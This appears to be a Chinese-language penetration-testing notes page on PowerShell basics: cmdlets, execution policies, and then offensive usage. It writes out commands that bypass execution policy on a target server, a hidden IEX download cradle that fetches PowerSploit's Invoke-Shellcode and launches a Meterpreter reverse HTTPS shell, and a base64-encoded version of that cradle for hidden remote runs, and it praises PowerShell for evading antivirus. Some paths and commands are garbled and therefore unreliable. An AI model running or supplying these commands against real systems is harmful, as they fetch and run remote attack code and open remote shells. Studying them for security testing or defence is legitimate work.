PowerShell基础

Catalogue
  1. 1. Metadata
  2. 2. Tactics
  3. 3. Techniques
    1. 3.1. PowerShell的基本概念
      1. 3.1.1. .ps1文件
      2. 3.1.2. 执行策略
    2. 3.2. PowerShell常用命令
      1. 3.2.1. 基本知识
      2. 3.2.2. 常用命令
        1. 3.2.2.1. 绕过本地权限并执行
        2. 3.2.2.2. 从远端服务器中下载脚本,绕过本地权限并隐藏执行
        3. 3.2.2.3. 使用base64对命令进行编码
  4. 4. References

Metadata

Author Tahir
Creation Date 2021/08/04
Modification Date 2021/08/04
Tactics Null
Techniques Null

Tactics

Null

Techniques

Windows PowerShell是一种命令行外壳程序和脚本环境。它内置在每个Windows版本中(Windows 7或者Windows Server 2008 R2及更高版本),为Windows命令行使用者和脚本编写者利用.NET Framework的强大功能提供了遍历。只要可以在一台计算机上运行代码,就可以将PowerShell脚本文件(.psl)下载到磁盘中执行(甚至无须将脚本文件写到磁盘中)。也可以把PowerShell看作命令行提示符cmd.exe的扩展。

PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性居所有Shell之首。PowerShell的这些特点,使它逐渐成为一个非常流行的安全测试工具。

PowerShell具有以下特点:

  • 在Windows 7以上版本的操作系统中是默认安装的
  • 脚本可以在内存中运行,不需要写入磁盘
  • 几乎不触发杀毒软件
  • 可以远程执行
  • 目前很多工具都是基于PowerShell开发的
  • 使Windows脚本的执行变得容易
  • cmd.exe的运行通常会被阻止,但是PowerShell的运行通常不会被阻止
  • 可用于管理活动目录

可以输入

1
2
3
Get-Host
或者
$PSVersionTable.PSVERSION

命令查看PowerShell的版本

Windows操作系统对应的PowerShell版本:

操作系统 PowerShell 是否可升级
Windows 7/Windows Server 2008 2.0 可升级
Windows 8/Windows Server 2012 3.0 可升级
Windows 8.1/Windows Server 2012 R2 4.0

PowerShell的基本概念

.ps1文件

一个PowerShell脚本其实是一个简单的文本文件,其扩展名为.ps1。PowerShell脚本文件中包含一系列的PowerShell命令,每个命令显示为独立的一行。

执行策略

为了防止运行恶意脚本,PowerShell提供了一个执行策略。在默认情况下,这个执行策略被设置为“不能执行”。

如果PowerShell脚本无法执行,可以使用下面的cmdlet命令查询当前的执行策略,默认设置为Restricted,不能运行脚本

1
Get-ExecutionPolicy

有4中执行策略可以设置:

1
2
3
4
Restricted  脚本不能运行
RemoteSigned 在本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有签名的除外)
AllSigned 仅当脚本由受信任的发布者签名时才能运行
Unrestricted 允许所有脚本运行

可以用下面的命令设置以上执行策略

1
Set-ExecutionPolicy [policy name]

PowerShell常用命令

基本知识

在PowerShell下,类似cmd命令叫作cmdlet命令。二者的命名规范一致,都采用“动词-名词”的形式,例如“New-Item”。动词一般为Add、New、Get、Remove、Set等。命令的别名一般兼容Windows Command和Linux Shell,PowerShell不区分大小写。

下面以文件操作为例,讲解PowerShell的基本用法:

创建目录

1
New-Item whitecellclub-ItemType Directory

新建文件

1
New-Item light.txt-ItemType File

删除目录

1
Remove-Item whitecellclub

显示文本内容

1
Get-Content test.txt

设置文本内容

1
Set-Content test.txt-Value "Hello World"

追加内容

1
Add-Content light.txt-Value "i love you"

清除内容

1
Clear-Content test.txt

常用命令

在Windows终端下输入powershell,进入PowerShell命令行环境,输入help可以显示帮助信息。

要运行PowerShell脚本,必须使用管理员权限将策略改为Unrestricted。

绕过本地权限并执行

将PowerShell.ps1上传至目标服务器。在命令行中执行命令,绕过安全策略,在目标服务器上执行脚本。

1
PowerShell.exe -ExecutionPolicy Bypass -File PowerUp.ps1

将同一个脚本上传至目标服务器。在本地执行命令:

1
PowerShell.exe -ExecutionPolicy Bypass -Command "& {Import-Module C:\PowerUp.ps1; Invoke-Allchecks}"
从远端服务器中下载脚本,绕过本地权限并隐藏执行
1
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-ObjectNet.WebClient).DownloadString("远程下载脚本的链接"); [Parameters]

例子:Invoke–Shellcode.ps1一个远端的恶意ps1脚本

https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1

执行命令:

1
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 127.0.0.1 -Lport 666

常用参数说明:

  • -ExecutionPolicy Bypass (-exec bypass):绕过安全执行策略
  • -WindowSytle Hidden (-w hidden):隐藏窗口
  • -NonInteractive (-NonI):非交互模式。PowerShell不为用户提供交互式的提示
  • -NoProfile (-NoP):PowerShell控制台不加载当前用户的配置文件
  • -noexit:执行后不退出shell,这个参数在使用键盘记录器等脚本时非常重要
  • -NoLogo:启动不显示版权标志的PowerShell
使用base64对命令进行编码

使用base64对PowerShell命令进行混淆和压缩代码。可以使用python脚本对所有PowerShell命令进行base64编码,使用ps_encoder.py进行编码时,转换对象必须是文本文件,因此要把命令保存为文本文件

1
echo IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 127.0.0.1 -Lport 80 > raw.txt

1
python ps_encoder.py -s ./raw.txt

经过base64编码的PowerShell命令

1
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAGMAaABlAGUAdAB6AC8AUABvAHcAZQByAFMAcABsAG8AaQB0AC8AbQBhAHMAdABlAHIALwBDAG8AZABlAEUAeABlAGMAdQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQAtAFMAaABlAGwAbABjAG8AZABlAC4AcABzADEAIgApADsAIABJAG4AdgBvAGsAZQAtAFMAaABlAGwAbABjAG8AZABlACAALQBQAGEAeQBsAG8AYQBkACAAdwBpAG4AZABvAHcAcwAvAG0AZQB0AGUAcgBwAHIAZQB0AGUAcgAvAHIAZQB2AGUAcgBzAGUAXwBoAHQAdABwAHMAIAAtAEwAaABvAHMAdAAgADEAMgA3AC4AMAAuADAALgAxACAALQBMAHAAbwByAHQAIAA4ADAAIAAKAA==

在远程主机上执行以下命令:

1
PowerShell.exe -NoP -NonI -w hidden -exec bypass -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAGMAaABlAGUAdAB6AC8AUABvAHcAZQByAFMAcABsAG8AaQB0AC8AbQBhAHMAdABlAHIALwBDAG8AZABlAEUAeABlAGMAdQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQAtAFMAaABlAGwAbABjAG8AZABlAC4AcABzADEAIgApADsAIABJAG4AdgBvAGsAZQAtAFMAaABlAGwAbABjAG8AZABlACAALQBQAGEAeQBsAG8AYQBkACAAdwBpAG4AZABvAHcAcwAvAG0AZQB0AGUAcgBwAHIAZQB0AGUAcgAvAHIAZQB2AGUAcgBzAGUAXwBoAHQAdABwAHMAIAAtAEwAaABvAHMAdAAgADEAMgA3AC4AMAAuADAALgAxACAALQBMAHAAbwByAHQAIAA4ADAAIAAKAA==

运行32位和64位PowerShell

在64位的Windows操作系统上,存在两个版本的PowerShell,一个是x64,一个x86,两个版本的执行策略不会互相影响。x64版本在PowerShell的配置文件在%widir%\syswow64\WindowsPowerShell\v1.0\ 目录下。

运行32位PowerShell脚本,命令如下:

1
PowerShell.exe -NoP -NonI -w hidden -exec bypass

运行64位PowerShell脚本,命令如下:

1
%widir%\syswow64\WindowsPowerShell\v1.0\PowerShell.exe -NoP -NonI -w hidden -exec bypass

一个PowerShell在线教程

https://www.pstips.net/powershell-online-tutorials

References